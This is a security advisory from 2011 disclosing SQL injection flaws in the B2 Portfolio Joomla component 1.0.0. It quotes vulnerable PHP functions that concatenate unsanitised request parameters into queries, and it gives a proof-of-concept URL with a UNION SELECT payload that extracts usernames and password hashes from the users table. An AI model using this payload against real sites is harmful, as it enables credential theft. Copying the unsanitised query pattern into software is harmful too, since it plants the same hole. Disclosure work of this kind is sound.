B2 Portfolio Joomla Component 1.0.0 Multiple SQL Injection Vulnerability Name B2 Portfolio Vendor http://www.pulseextensions.com Versions Affected 1.0.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2011-01-24 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ B2 Portfolio is a Joomla component to give the user the option to view details of a portfolio item by zooming it on hover, and to allow a full view by clicking. II. DESCRIPTION _______________ Some parameters are not properly sanitised before being used in SQL queries. III. ANALYSIS _____________ Summary: A) Multiple SQL Injection A) Multiple SQL Injection _________________________ Id and wallid parameters are not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The following are the vulnerable functions: function getcategoryname() { $db =& JFactory::getDBO(); $default_category = JRequest::getVar('c', 0); if($default_category == "") { $query_cat = 'SELECT default_category FROM #__b2portfolio_config'; $db->setQuery( $query_cat ); $default_category = $db->loadResult(); } $query = 'SELECT * FROM #__b2portfolio_category where id='.$default_category; $db->setQuery( $query ); $cat_data = $this->_db->loadObject($query); return $cat_data; } function click() { $db =& JFactory::getDBO(); $date =& JFactory::getDate(); $trackDate = $date->toFormat( '%Y-%m-%d' ); $query = 'UPDATE #__b2portfolio set click = ( click + 1 ) where id ='.$_GET['wallid']; $db->setQuery( $query ); $db->query(); } IV. SAMPLE CODE _______________ A) Multiple SQL Injection http://site/path/index.php?option=com_b2portfolio&c=-1 UNION SELECT 1,concat(username,0x34,password),3,4,5 FROM jos_users V. FIX ______ No fix.